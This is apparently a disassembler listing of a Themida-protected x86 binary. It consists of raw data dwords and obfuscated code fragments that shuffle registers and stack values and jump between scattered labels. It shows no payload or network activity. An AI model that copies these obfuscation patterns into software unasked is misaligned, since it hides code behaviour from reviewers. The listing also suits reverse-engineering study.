		dd 0B219E958h, 0D7F70000h, 8106EFC1h, 0A0512CC7h, 0D5EF816Ch
		dd 0E9B42DCEh, 0FDF6h, 4C781h, 0B8500000h, 485103ADh, 0BD55h
		dd 0C5290000h, 31D6E9h,	4C48100h, 88000000h, 1C8B871Ch
		dd 4C48124h, 0E9000000h, 0FFFFBBB8h, 240C8B66h,	0E95F5457h
		dd 10D05h, 8103E3C1h, 0C3154EE3h, 814B4316h, 222D6CC3h
		dd 0E9DA892Eh, 0CD5Fh, 4C481h, 0E7680000h, 89000040h, 0E389241Ch
		dd 4C381h, 0B9510000h, 6F9007A1h, 0D008E9h, 0BB6EE900h
		dd 0E981FFFFh, 4C051B27h, 6305EA81h, 0CA011F66h, 0BE565150h
		dd 9600F54h, 10A4CE9h, 91EF8100h, 218780A6h, 0C6815FFEh
		dd 0EFFFFF84h, 815EF201h, 4ECh,	24048900h, 4B8h, 58C22900h
		dd 2474FF52h, 48F5A04h,	24248B24h, 0B5240C89h, 0C000E904h
		dd 0AEBDFFFFh, 0E9774829h, 11F8h, 240C8B66h, 1B668h, 24048900h
		dd 0D796E9h, 4BE00h, 0D8E90000h, 330000D9h, 3C31243Ch
		dd 243C3324h, 0D324248Bh, 9E92424h, 83FFFFCAh, 0F82104C4h
		dd 81243C8Bh, 4C4h, 0D1C20900h,	0A009E9E2h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_554956:				; CODE XREF: Themida_:0056148Cj
		add	ebx, 4
		jmp	loc_559983
; ---------------------------------------------------------------------------

loc_554961:				; CODE XREF: Themida_:00554C08j
		pop	ecx
		jmp	loc_5510FC
; ---------------------------------------------------------------------------
		db 1
		dd 0BA5258C5h, 383F451Bh, 0D2F74A42h, 8E2C142h,	1B04C281h
		dd 48E93F45h, 52000021h, 0CE058468h, 1306E96Ch,	0EC830000h
		dd 243C8904h, 11B6E9h
		db 0
; ---------------------------------------------------------------------------

loc_554999:				; CODE XREF: Themida_:00559E7Fj
		sub	ecx, 0AB8DB022h
		push	eax
		mov	eax, ecx
		jmp	loc_5554E2
; ---------------------------------------------------------------------------
		db 58h
		dd 0ED7B9325h, 1B013547h, 0E8C171E9h, 0EED3507h, 0C435221Ah
		dd 312F267Dh, 0A6E958C1h, 0C1000019h, 0C40507E8h, 0E923161Ch
		dd 7A19h, 14026705h, 1C900D65h,	0B95138A1h, 41345D7Bh
		dd 0F759C801h, 65FD05D0h, 0A8052977h, 90CCA38h,	0E58158C5h
		dd 4A593900h, 4EC81h, 0B6E90000h, 8900003Bh, 3FBB241Ch
		dd 2D6C8256h, 3C9129E2h, 0E205D829h, 5B3C9129h,	47A96857h
		dd 24890000h, 24048124h, 4, 8EE9555Fh, 0C1FFFFD8h, 0CAE908E7h
		dd 540000CEh, 8D40E9h, 0D9015E00h, 6F30E981h, 34FF367Ch
		dd 0C4835B24h, 4E1C104h, 0FFFFC181h, 0E181FFFFh, 48B927D9h
		dd 0FFF4C4E9h, 0C48358FFh, 4EC8104h, 89000000h,	3CBD242Ch
		dd 317AAA28h, 0EC835DE8h, 240C8904h, 364E7E68h,	89535927h
		dd 0E53EE9E3h, 815A0000h, 0B94138EBh, 0DFF8E977h, 15A0000h
		dd 24048BC7h, 8304C483h, 148904ECh, 0D2FBA24h, 0CA814629h
		dd 10190DD6h, 1EB6E9h
		db 0
; ---------------------------------------------------------------------------

loc_554AB9:				; CODE XREF: Themida_:0055648Aj
		sub	bl, cl
		sub	bl, 38h
		pop	ecx
		jmp	loc_55786E
; ---------------------------------------------------------------------------
		dd 7C03BD55h, 0E8010930h, 83242C8Bh, 0BB5304C4h, 21E8129Eh
		dd 55BD829h, 44A0347Ch,	0A9E9D829h
		db 60h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_554AE7:				; CODE XREF: Themida_:0055A8B3j
		sub	esi, ebx
		pop	ebx
		xor	esi, 0BDC197CAh
		jmp	loc_561F5D
; ---------------------------------------------------------------------------

loc_554AF5:				; CODE XREF: Themida_:0055EE71j
		mov	eax, 515A23A5h
		and	edi, eax
		pop	eax
		xor	edi, 410A0023h
		add	ecx, edi
		pop	edi
		xchg	ecx, [esp]
		mov	esp, [esp]
		or	[esp], al
		pushf
		jmp	loc_550420
; ---------------------------------------------------------------------------

loc_554B15:				; CODE XREF: Themida_:00556249j
		add	ebx, edx
		pop	edx
		inc	ebx
		inc	ebx
		push	ebp
		mov	ebp, 6E80F4CDh
		xor	ebx, ebp
		jmp	loc_55A8B2
; ---------------------------------------------------------------------------
		db 0F6h
		dd 19DE9D1h, 0C1010000h, 0FFFA11E9h, 5BDA01FFh,	963E951h
		db 1, 0
; ---------------------------------------------------------------------------

loc_554B3E:				; CODE XREF: Themida_:0055240Dj
		push	esi
		push	edi
		push	ecx
		mov	ecx, 5E991793h
		xor	ecx, 1F3E7B3Ch
		mov	edi, ecx
		jmp	loc_555320
; ---------------------------------------------------------------------------
		db 0B7h
		dd 5BF820C4h, 485B252h,	0FB0CE995h, 0C890000h, 0C173E924h
		dd 0E95A0000h, 0C019h, 31D8BB53h, 0D8013F3Fh, 81241C8Bh
		dd 4C4h, 53595B00h, 34A6E9h, 4C48300h, 4B850h, 89E90000h
		dd 68000049h, 6732h, 81240C89h,	5A30242Ch, 815B0EB2h, 0B25A30C3h
		dd 9BFBE90Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_554BB2:				; CODE XREF: Themida_:0055B9E6j
		push	ebx
		push	edx
		mov	edx, 43732162h
		add	edx, 1EE12424h
		mov	ebx, edx
		pop	edx
		sub	ebx, 0FB992D64h
		xor	edi, ebx
		pop	ebx
		xor	edi, 1C966020h
		xchg	ecx, edi
		not	ecx
		xchg	ecx, edi
		jmp	loc_5602DC
; ---------------------------------------------------------------------------
		dd 2474FF52h, 2434FF04h, 51E2685Ah, 14890000h, 81E28924h
		dd 4C2h, 4C28300h, 5C241487h, 0B22AE9h
		db 0
; ---------------------------------------------------------------------------

loc_554C01:				; CODE XREF: Themida_:0055D298j
		mov	[esp], ecx
		push	dword ptr [esp+4]
		jmp	loc_554961
; ---------------------------------------------------------------------------
		db 56h,	53h, 0BBh
		dd 0AF37782h, 8CE9DE89h, 5A0000BBh, 2474FF50h, 24048B04h
		dd 8F04C483h, 248B2404h, 241C8924h, 1BBh, 0F816E900h, 0BD55FFFFh
		dd 13666E6Ch, 4EC81h, 2C890000h, 0D84E924h, 3C8B0000h
		dd 4C48124h, 81000000h,	2EEh, 26BBE900h, 0FA890000h, 83243C8Bh
		dd 0D33104C4h, 5224148Bh, 0C281E289h, 4, 0FFDCEFE9h, 87D687FFh
		dd 34FF2434h, 22E95A24h, 800000BEh, 85996EEh, 0EC815AF3h
		dd 4, 0B5240C89h, 0EE4CE9BBh, 5366FFFFh, 8CE905B3h, 0B9000107h
		dd 22677B1Ch, 15ECE9h, 0B766E900h, 0EE81FFFFh, 8AB65A7h
		dd 7164C681h, 0D2E9066Bh, 80000035h, 0D9F691F1h, 0E8D8E9h
		dd 241C8700h, 0E924348Bh, 1053Ch
; ---------------------------------------------------------------------------

loc_554CE0:				; CODE XREF: Themida_:00563C17j
		mov	[esp], eax
		push	7002h
		mov	[esp], edx
		jmp	loc_55E018
; ---------------------------------------------------------------------------
		dd 6F6E68h, 24048900h, 1B22E9h
		db 0
; ---------------------------------------------------------------------------

loc_554CFD:				; CODE XREF: Themida_:0056387Aj
		mov	ebx, 0BEB3D45h
		neg	ebx
		xor	ebx, 53D122E4h
		shr	ebx, 5
		sub	ebx, 0C520D93Ch
		mov	eax, ebx
		pop	ebx
		or	eax, 20D40F35h
		jmp	loc_5588B8
; ---------------------------------------------------------------------------
aSf		db '\éäÚ',0
		align 2
		dw 0E689h
		dd 4C681h, 12E90000h, 8000000Ch, 0B35360EDh, 0FEC3FE12h
		dd 80D3F6C3h, 0E3C024EBh, 2FC38003h, 1C8BDD08h,	4C48324h
		dd 882EED80h, 240C8BEFh, 4C481h, 0E7D00000h, 8002EFC0h
		dd 0CFFEA8E7h, 0C780D7F6h, 0E97304BAh, 0FFFFDAF9h, 5C243C87h
		dd 8B2434FFh, 0E9522404h, 0FFFFF35Fh, 95F5D57h,	6478E9EAh
		dd 0D3010000h, 56B7C381h, 0EB816108h, 44717C5Ch, 0FFDC95E9h
		dd 4C481FFh, 52000000h,	0F000ACB6h, 0B860E95Ah,	815EFFFFh
		dd 4C6h, 4C68100h, 87000000h, 565C2434h, 0C681E689h, 4
		dd 4560E9h, 25B85000h, 112BF6Eh, 575E58C2h, 108A6E9h, 48F6600h
		dd 0B636E987h, 0BBBFFFFFh, 314B7308h, 0D6015FFAh, 4C6815Ah
		dd 87000000h, 248B2434h, 42B86824h, 1C890000h, 2434FF24h
		db 8Bh,	1Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edx
		mov	edx, 2C314EFDh
		neg	edx
		jmp	loc_555138
; ---------------------------------------------------------------------------
		db 83h
		dd 3C8904ECh, 555F5424h, 0FFCE6DE9h, 5DE901FFh,	4C181h
		dd 0EC810000h, 4, 0FF240C89h, 59042474h, 8B24048Fh, 48B2424h
		dd 59545124h, 4BF57h, 0F5E90000h, 0BFFFFFDCh, 4, 18E9F801h
		dd 88000084h, 0E9D188C2h, 0E0C5h, 5C240487h, 8B24048Fh
		dd 49E92424h, 54000029h, 4BB535Dh, 0E9000000h, 25A9h, 0FFB58FE9h
		dd 81E689FFh, 4C6h, 4C68300h, 5C243487h, 8B241C87h, 8B662424h
		dd 89572404h, 0E95250E7h, 97F9h, 4BD55h, 38E90000h, 29000001h
		dd 0BA525DEFh, 7A167DB7h, 0D781E9h
		db 0
; ---------------------------------------------------------------------------

loc_554ECD:				; CODE XREF: Themida_:0055DCFCj
		add	esp, 4
		add	eax, 411C7846h
		sub	eax, ebx
		sub	eax, 411C7846h
		push	ecx
		mov	ecx, 6E031FF6h
		xor	ecx, 3B781B7Fh
		neg	ecx
		sub	ecx, 0B6C3A15h
		jmp	loc_559039
; ---------------------------------------------------------------------------
		dd 3AE9D6F7h, 0FF0000DDh, 89E92434h, 8300000Ch,	0DBE904C4h
		dd 80000079h, 90E9FFEEh, 0FFFFFFD9h, 1C8B2434h,	4EC8324h
		dd 0BC91E9h, 6FE98100h,	0F703C52Dh, 71B850D9h, 0E903CFFBh
		dd 0A36Ah, 8B5BD800h, 0C483241Ch, 0B8B05004h, 6608E0C0h
		dd 0B3535251h, 5BDA88F0h, 45AD588h, 480412h, 7D3FE9E8h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_554F5E:				; CODE XREF: Themida_:0055992Fj
		mov	esi, 267E10BCh
		sub	ecx, esi
		pop	esi
		add	ecx, 2B75B59Fh
		add	ebx, ecx
		pop	ecx
		pop	ebp
		jmp	loc_564BC6
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 0BFh
		dd 81B6163Bh, 115B46C7h, 55C70136h, 350953BDh, 0A2E9453Fh
		dd 68FFFFC8h, 2, 0DF19E9h, 0EC835900h, 24048904h, 0A2D9E9h
		db 0
; ---------------------------------------------------------------------------

loc_554FA5:				; CODE XREF: Themida_:0055075Bj
		mov	ecx, 390612F8h
		xor	ecx, 161C79F5h
		xor	ecx, 66893435h
		sub	ebx, ecx
		pop	ecx
		jmp	loc_552D42
; ---------------------------------------------------------------------------
aYsdl		db 'YédL',0
		align 4
		dd 8108E3C1h, 974C22CBh, 55D3F70Fh, 97FD5BDh, 0ED814D61h
		dd 2C5F0315h, 0D526E9h,	24148700h, 5F55575Dh, 0FFC7835Dh
		dd 80A4F781h, 0EE9E670h, 81FFFFB8h, 1704246Ch, 81404F5Dh
		dd 4E042444h, 0E92B8819h, 58EDh, 1246C86h, 6C86D5F6h, 34FF0124h
		dd 0BC1FE924h, 0C7810000h, 6FF37307h, 761BE781h, 0EF81321Eh
		dd 200A2207h, 0CA6BE9h
		db 0
; ---------------------------------------------------------------------------

loc_555035:				; CODE XREF: Themida_:0055C351j
		and	ecx, ebp
		jmp	loc_55B30C
; ---------------------------------------------------------------------------
		dd 4BFh, 5FF80100h, 4EC81h, 3C890000h, 4BF24h, 0F8290000h
		dd 0A9ADE9h
		db 0
; ---------------------------------------------------------------------------

loc_555059:				; CODE XREF: Themida_:00558DF8j
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_55B8B8
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 215A6800h, 14890000h, 2474FF24h, 48F5A04h, 24D25C24h
		dd 8DE99C24h, 5DFFFFB3h, 8904EC83h, 0FF552434h,	815E2434h
		dd 4C4h, 0C5815D00h, 0FFFFFFFFh, 0F681EE87h, 5B5F7FBAh
		dd 30B850h, 50000h, 17B0A57h, 7B35E9D0h, 84680000h, 89000059h
		dd 0B9512414h, 5B005E76h, 4BE9D9F7h, 52000016h,	0D7281FB2h
		dd 5BF8305Ah, 8499E9h, 1C700h, 0FF000000h, 0A2E92434h
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5550F7:				; CODE XREF: Themida_:0055C111j
		pop	esp
		jmp	loc_56437B
; ---------------------------------------------------------------------------
		db 0B1h, 64h, 20h
		dd 0BCF7E9CBh, 248BFFFFh, 0FFF03124h, 348B2434h, 0E2895224h
		dd 4C281h, 0C2810000h, 4, 7A22E9h, 6AC28100h, 1540C7Fh
		dd 6AEA81C2h, 0E9540C7Fh, 0FFFFC620h
; ---------------------------------------------------------------------------

loc_555138:				; CODE XREF: Themida_:00554E1Aj
		shr	edx, 8
		xor	edx, 7E520F57h
		shr	edx, 2
		jmp	loc_555EFC
; ---------------------------------------------------------------------------

loc_555149:				; CODE XREF: Themida_:0055FF65j
		push	643E2B1Fh
		jmp	loc_55BC11
; ---------------------------------------------------------------------------

loc_555153:				; CODE XREF: Themida_:0055C57Aj
		mov	ecx, [esp]
		add	esp, 4
		xor	edx, ebp
		jmp	loc_557B89
; ---------------------------------------------------------------------------
		dd 0C103EFC1h, 0D14F04EFh, 43DF87EFh, 3DE9DF87h, 57FFFFF3h
		dd 0E9240CFFh, 6A43h, 24048B66h, 79F0E9h
		db 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ebx
		mov	ebx, 2C256FEBh
		dec	ebx
		jmp	loc_55D2C7
; ---------------------------------------------------------------------------
aBudym2sU	db 'îDyM2鶓',0
		dd 87EE8000h, 148BF028h, 0B9E95324h, 8900003Bh,	0D789243Ch
		dd 24048157h, 5E863B2h,	17DE95Bh, 1580001h, 24348BF5h
		dd 3104C483h, 0D1215DEAh, 0FFEF73E9h, 0FFEB81FFh, 81FFFFFFh
		dd 0F77DDCEBh, 0A6C38141h, 8157E74Fh, 59CD97C3h, 5BD931B9h
		dd 91C98149h, 0E97DD335h, 0A782h, 572FEE81h, 34FF027Fh
		dd 242C8B24h, 8104C483h, 4C4h, 8BF22900h, 0C4812434h, 4
		dd 0FFB1FBE9h, 4EC81FFh, 89000000h, 74FF2404h, 34FF0424h
		dd 54505824h, 40558h, 4050000h,	87000000h, 248B2404h, 24048F24h
		dd 64A968h, 24148900h, 0D817E9h, 0C3815800h, 2,	0E9595451h
		dd 2078h, 81E9F830h, 35000094h,	79C3D90h, 0B8E9D0F7h, 6800003Bh
		dd 683Ah, 0BF243C89h, 4C1E6558h, 9EE9FA29h, 0BE000098h
		dd 294E16BFh, 0FFDE16E9h, 4FEF81FFh, 83075800h,	0E955FFEFh
		dd 0CC01h, 0DA293CBBh, 2940BF07h, 0DEE907DAh, 0B9FFFFBDh
		dd 66D512FFh, 3922E9h, 246F2900h, 8B2434FFh, 0C483242Ch
		dd 4EC8104h, 89000000h,	93E9242Ch, 280000B9h, 0E9C704D0h
		dd 0FFFFD744h, 0D224248Bh, 0E99C240Ch, 0FFFFB130h, 54F9E95Ch
		dd 0C1290000h, 2434FF58h, 5224148Bh, 0C281E289h, 4, 8704C283h
		dd 815C2414h, 4C4h, 59CE8900h, 0E91C7721h, 0F31Fh
; ---------------------------------------------------------------------------

loc_555320:				; CODE XREF: Themida_:00554B4Ej
		pop	ecx
		jmp	loc_561F20
; ---------------------------------------------------------------------------
		dw 0E95Bh
		dd 10036h, 5B2434FFh, 0FFEA91E9h, 59A205FFh, 0F0297162h
		dd 1058E957h, 0C7810000h, 4, 0E902C783h, 0FFFFD122h, 51240C8Bh
		dd 0E952E189h, 8B76h
; ---------------------------------------------------------------------------

loc_55535C:				; CODE XREF: Themida_:00564387j
		mov	[esp], edi
		mov	edi, esp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 9285E45h
		and	ebx, 1F837E8Ch
		shr	ebx, 4
		jmp	loc_5614C5
; ---------------------------------------------------------------------------
		dw 0C300h
aAiaaiXqh1e	db '€ë€€ë[XQh1e',0
		dd 0AB1FE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55538E:				; CODE XREF: Themida_:0055CADEj
		add	esi, ecx
		sub	esi, 15DE661Bh
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5528B7
; ---------------------------------------------------------------------------
		dd 30EB815Fh, 0E96D3714h, 25A6h, 59DCC380h, 862B151h, 0E95059CBh
		dd 0C2h, 0D9CDE95Fh, 0C289FFFFh, 0FFE04CE9h, 6E0C0FFh
		dd 803BB753h, 0F780AAE7h, 0F9C78094h, 45BF830h,	0E9C22040h
		dd 1F50h, 0BFE9D8F7h, 8B000097h, 0C481243Ch, 4,	0E905EBC1h
		dd 0AA4Dh, 875FF901h, 248B240Ch, 24040024h, 0B00EE99Ch
		dd 815AFFFFh, 0CC31C5C2h, 0FFC28312h, 295E953h,	56520001h
		dd 2BEh, 0A35CE900h, 0C7290000h, 90C78158h, 296CF800h
		dd 90EF81D7h, 816CF800h, 0BD4FB9C7h, 0C9A3E967h, 0C281FFFFh
		dd 80F961B1h, 5EE9D101h, 0B9000042h, 67B942A9h,	848DE9h
		dd 5A250500h, 0C729877Ah, 81D7F758h, 99BA7EEFh,	0FFF829D5h
		dd 815F2434h, 4C4h, 0EDD4E900h,	34B40000h, 34FFE328h, 0C4835824h
		dd 8BDD2804h, 0C483241Ch, 0FFE83004h, 0C8B2434h, 4C48324h
		dd 5E08950h, 4,	405h, 24048700h, 0E924248Bh, 1013Bh, 9B030668h
		dd 0BD555937h, 379B0302h, 2C8BE929h, 4C48124h, 89000000h
		dd 240C8BCDh, 4C481h, 0EF010000h, 0F449E95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5554E2:				; CODE XREF: Themida_:005549A2j
		push	eax
		push	edx
		mov	edx, 2765552Ch
		sub	[esp+4], edx
		pop	edx
		pop	esi
		jmp	loc_5603EB
; ---------------------------------------------------------------------------

loc_5554F4:				; CODE XREF: Themida_:00564CF2j
		mov	ebp, [esp]
		add	esp, 4
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_550420
; ---------------------------------------------------------------------------
		dd 42474FFh, 24048F5Bh,	241C895Ch, 7C242C81h, 8B77D57Bh
		dd 0EC812404h, 4, 0E9240489h, 0FFFFB816h
; ---------------------------------------------------------------------------

loc_55552C:				; CODE XREF: Themida_:005535DFj
		sub	edi, 357E4BC8h
		pop	eax
		xchg	edi, [esp]
		mov	esp, [esp]
		xchg	esi, [esp]
		pop	esp
		push	3F67h
		mov	[esp], edx
		push	429C44FDh
		pop	edx
		push	ebx
		mov	ebx, 6B45086Bh
		and	ebx, 76D461F0h
		and	ebx, 49B17B0Bh
		sub	ebx, 1E2BB6F2h
		or	edx, ebx
		pop	ebx
		shl	edx, 2
		push	20F0h
		mov	[esp], eax
		mov	eax, 562F2AC7h
		or	edx, eax
		mov	eax, [esp]
		jmp	loc_55DEEC
; ---------------------------------------------------------------------------
		dd 6658E108h, 660C1B68h, 0B4240489h, 0B514E901h, 0EC810000h
		dd 4, 0F7243C89h, 3C8B2414h, 4C48324h, 9201C781h, 0F821643Dh
		dd 0E9243C8Bh, 10417h, 42E952ACh, 810000FEh, 1C6h, 0DCAEE900h
		dd 0C4810000h, 4, 352EE950h, 0D0880000h, 247C8A5Ah, 24448804h
		dd 454FE904h, 0CF890000h, 81240C8Bh, 4C4h, 53A26800h, 4890000h
		dd 54E95324h, 0B8FFFFDDh, 4, 5158C101h,	0BD9AE9h, 66E98100h
		dd 8108DF81h, 354506C3h, 81CB012Eh, 354506EBh, 0DA89592Eh
		dd 0CFBD555Bh, 297C7644h, 0D0015DE8h, 305BB53h,	8DE956A1h
		dd 48FFFFF9h, 0E908E0C1h, 65ACh, 24048F5Bh, 5724248Bh
		dd 0E904EC83h, 0FFFFD11Ah, 0E9240C8Bh, 0C0FDh
; ---------------------------------------------------------------------------

loc_555658:				; CODE XREF: Themida_:00559997j
		pop	ecx
		add	esp, 4
		push	ecx
		mov	ch, 0E7h
		and	ch, 37h
		inc	ch
		xor	ch, 9Bh
		dec	ch
		xor	ch, 68h
		add	al, ch
		pop	ecx
		add	al, cl
		sub	al, 0DAh
		push	bx
		mov	bl, 70h
		add	al, bl
		pop	bx
		pop	ecx
		push	ebp
		jmp	loc_563A4E
; ---------------------------------------------------------------------------
		dw 0B7B5h
		dd 0D1B55166h, 0F61CB652h, 0D9EE80D6h, 0E9E9EE80h, 0ED7Dh
		dd 2C8BEE01h, 0E2895224h, 8237E9h, 0C4815F00h, 4, 2474FF55h
		dd 48F5D04h, 24248B24h,	4EC81h,	34890000h, 2C66BE24h, 74296EAFh
		dd 535E0424h, 0BA3676BBh, 246C8175h, 0F5200A04h, 1C26E911h
		dd 55530000h, 98DAE9h, 0E6895600h, 4BB53h, 0C6810000h
		dd 722065B7h, 8E22E9h, 14BF5700h, 0C10CBE5Ch, 0CF8105E7h
		dd 2A1E38D0h, 0E3F3F781h, 0FB89DA82h, 2ABA525Fh, 163577Fh
		dd 0E9515AD3h, 0FFFFD5C3h, 8ED8E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_555726:				; CODE XREF: Themida_:005640BEj
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	7105h
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		push	ecx
		mov	ecx, 8D251B8h
		jmp	loc_561918
; ---------------------------------------------------------------------------
aQhB		db 'QhÔB',0
		dd 241C8900h, 4EC81h, 1DE90000h, 0AD0000E2h, 0A62912Dh
		dd 36C42D32h, 0D8294E41h, 36C4BA52h, 0E32D4E41h, 1329576h
		dd 76E305D0h, 34FF3295h, 89515A24h, 4C181E1h, 81000000h
		dd 4C1h, 92BBE900h, 0D6F70000h,	70C68146h, 29D6AF4Fh, 148B5EF0h
		dd 4C48324h, 4EC81h, 50E90000h,	0FF00008Ah, 52582434h
		dd 0BC95E954h, 0D72DFFFFh, 8B66DF7Ah, 6468240Ch, 0E900003Ah
		dd 0AAD0h, 582434FFh, 50E68956h, 4B8h, 0E9C60100h, 34EDh
; ---------------------------------------------------------------------------

loc_5557F0:				; CODE XREF: Themida_:0055B46Bj
		sub	edx, 19A375FDh
		pop	edi
		jmp	loc_55857E
; ---------------------------------------------------------------------------
		dd 2414F752h, 0CF6AE95Ah, 1C8B0000h, 4C48124h, 2C000000h
		dd 7CB5E936h, 6E680000h, 0E900001Eh, 1FA0h, 81240C8Bh
		dd 4C4h, 0E0895000h, 405h, 0F0FEE900h, 0D1010000h, 3277E981h
		dd 3E9090Ah, 68000023h,	398Fh, 5A242C89h, 75F2E95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_555852:				; CODE XREF: Themida_:00556DEFj
		pop	esp
		pop	edx
		push	ebp
		mov	ebp, esp
		jmp	loc_562971
; ---------------------------------------------------------------------------

loc_55585C:				; CODE XREF: Themida_:00559B2Cj
		sub	eax, 1CFE0E48h
		add	eax, esi
		push	esi
		mov	esi, 1CFE0E48h
		add	eax, esi
		pop	esi
		mov	esi, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 2CAB3C24h
		push	0
		sub	dword ptr [esp], 15A97FD1h
		sub	[esp], ebx
		add	dword ptr [esp], 15A97FD1h
		pop	ebx
		or	ebx, 7FF4486Ch
		xor	ebx, 0FFF4CBF8h
		jmp	loc_55A525
; ---------------------------------------------------------------------------

loc_5558A3:				; CODE XREF: Themida_:005652E4j
		add	eax, 3560E91Ch
		xor	ebp, eax
		jmp	loc_5633ED
; ---------------------------------------------------------------------------
		db 81h
		dd 478719C2h, 47C28129h, 0F77DFA63h, 92CA81DAh,	815C1F2Ah
		dd 7F4AF1E2h, 0CAF28161h, 0E98208D9h, 0E60Eh, 8B2434FFh
		dd 0C481240Ch, 4, 0FFBEF7E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5558E5:				; CODE XREF: Themida_:00562B4Bj
		push	eax
		mov	eax, 4
		jmp	loc_559221
; ---------------------------------------------------------------------------
		dd 24048B66h, 624E68h, 0CD45E900h, 0E951FFFFh, 0A34h, 81D5F745h
		dd 7BFF37F5h, 5DEB29B9h, 431C381h, 0D3015885h, 431EB81h
		dd 0C3815885h, 67C4228Ah, 5A2434FFh, 0E9E28952h, 4294h
; ---------------------------------------------------------------------------

loc_555930:				; CODE XREF: Themida_:0055C1C3j
		push	edi
		push	dword ptr [esp+4]
		jmp	loc_55C10D
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 9485E9h, 4C68100h, 56000000h, 42474FFh, 3E77E9h
		db 0
; ---------------------------------------------------------------------------

loc_555955:				; CODE XREF: Themida_:00557074j
		neg	edi
		sub	edi, 96116DAh
		shr	edi, 8
		neg	edi
		xor	edi, 0FF5A785Bh
		sub	ecx, 214172CEh
		add	ecx, edi
		jmp	loc_550493
; ---------------------------------------------------------------------------
		db 66h,	89h, 1Ch
		dd 0BD665524h, 8166096Fh, 66476ECDh, 6608E5C1h,	6604E5C1h
		dd 5051D5F7h, 5EF2E9h, 0D3BA5200h, 292AF272h, 0F6815AD6h
		dd 508DD028h, 348BF201h, 4C48324h, 31241433h, 14332414h
		dd 24248B24h, 0B404E9h,	14E9AD00h, 2DFFFFBAh, 66D55C41h
		dd 6B5A0825h, 71DEE959h, 4810000h, 7C0FA724h, 0E9815924h
		dd 247C0FA7h, 57242C8Bh, 0C781E789h, 4,	0A200E9h, 79685300h
		dd 89000054h, 51522424h, 7D514068h, 0E941595Bh,	81E6h
; ---------------------------------------------------------------------------

loc_555A08:				; CODE XREF: Themida_:0055E4D0j
		pop	ecx
		inc	ah
		shl	ah, 6
		inc	ah
		sub	ah, 29h
		or	ah, 0D4h
		shr	ah, 7
		or	ah, 5Eh
		jmp	loc_554588
; ---------------------------------------------------------------------------
		db 0BFh, 52h, 39h
		dd 0FE2972ECh, 97C6815Fh, 1538521h, 97EE81EEh, 53538521h
		dd 8E097CBBh, 0E3814B3Ch, 69955A1Eh, 7831C381h,	0F3817B94h
		dd 67F377ECh, 661FC381h, 0EB8134CDh, 85CD2474h,	14EDE9h
		dd 5685C00h, 89000077h,	5E542434h, 4C681h, 0BB530000h
		dd 4, 0E95BDE01h, 75FBh, 8BF7295Ah, 0C4812434h,	4, 0B951D701h
		dd 4E05314Ch, 8106E1C1h, 246196E1h, 0D5F18120h,	576D9A22h
		dd 466078BFh, 8BF9295Fh, 0C481243Ch, 4,	5659CF01h, 0AE00E9BEh
		dd 0EE814665h, 1, 3C28E9h, 4C58100h, 87000000h,	0E95C242Ch
		dd 5BDCh, 8244429h, 8246C81h, 26A43B2Fh, 244C2958h, 3DBF5704h
		dd 81253438h, 5808246Ch, 817D5332h, 0B2082444h,	11A8F07h
		dd 0E908247Ch, 88FEh, 0D6CD814Dh, 813B3209h, 7A29FBF5h
		dd 0F399E97Fh, 31B50000h, 0EE805FB6h, 0A21FE997h, 5580000h
		dd 4, 4B951h, 0C8010000h, 81240C8Bh, 4C4h, 24048700h, 4811685Ch
		dd 1C890000h, 21E95724h, 0BF0000C5h, 17A743D8h,	0A743DCBBh
		dd 0FFFB2917h, 17E92434h
		db 46h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_555B63:				; CODE XREF: Themida_:00558857j
		push	ecx
		mov	ecx, 4
		jmp	loc_55DE40
; ---------------------------------------------------------------------------
		dw 34FFh
aS_6		db '$[é&ě',0
		dw 0B800h
		dd 4, 158C389h,	0C6815BDEh, 4, 0E9243487h, 76B3h, 8B2434FFh
		dd 0C4812404h, 4, 81E38953h, 4C3h, 4C38300h, 12CBE953h
		dd 0E95E0000h, 0FCB3h, 4244481h, 65167483h, 4246C81h, 4E874BB2h
		dd 70A0E9h, 7CE18000h, 32066866h, 24048966h, 0C1800FB4h
		dd 80E128B9h, 5866B9E9h, 0C8BC830h, 97E95024h, 57FFFFBFh
		dd 72A1E9h, 4B800h, 0C7290000h,	0BAA1E958h, 2489FFFFh
		dd 24048324h, 24348B04h, 8104C483h, 4C6h, 4C68100h, 87000000h
		dd 9BE92434h, 8100002Dh, 42404h, 34FF0000h, 0C4815E24h
		dd 4, 0EBADE9h,	0F2814A00h, 54E27586h, 433DEA81h, 0D6013344h
		dd 4C6815Ah, 33000000h,	34312434h, 24343324h, 0E924248Bh
		dd 0E031h, 0C104C483h, 0BE5606E7h, 14D38BA3h, 5A0DE9h
		dd 0EA815C00h, 4F21F3FEh, 5E47EF81h, 0E95005D6h, 0FFFFCD1Eh
		dd 1155BF57h, 0C7817DADh, 9C8D5332h, 0E95FF801h, 8610h
		dd 0BE3BE95Ah, 0BD550000h, 6EA104FFh, 65E9DDF7h, 81FFFFD5h
		dd 195E2AE9h, 0EC815A7Fh, 4, 0BF243C89h, 4, 572DE9h, 0E9F30100h
		dd 0FFFFE734h
; ---------------------------------------------------------------------------

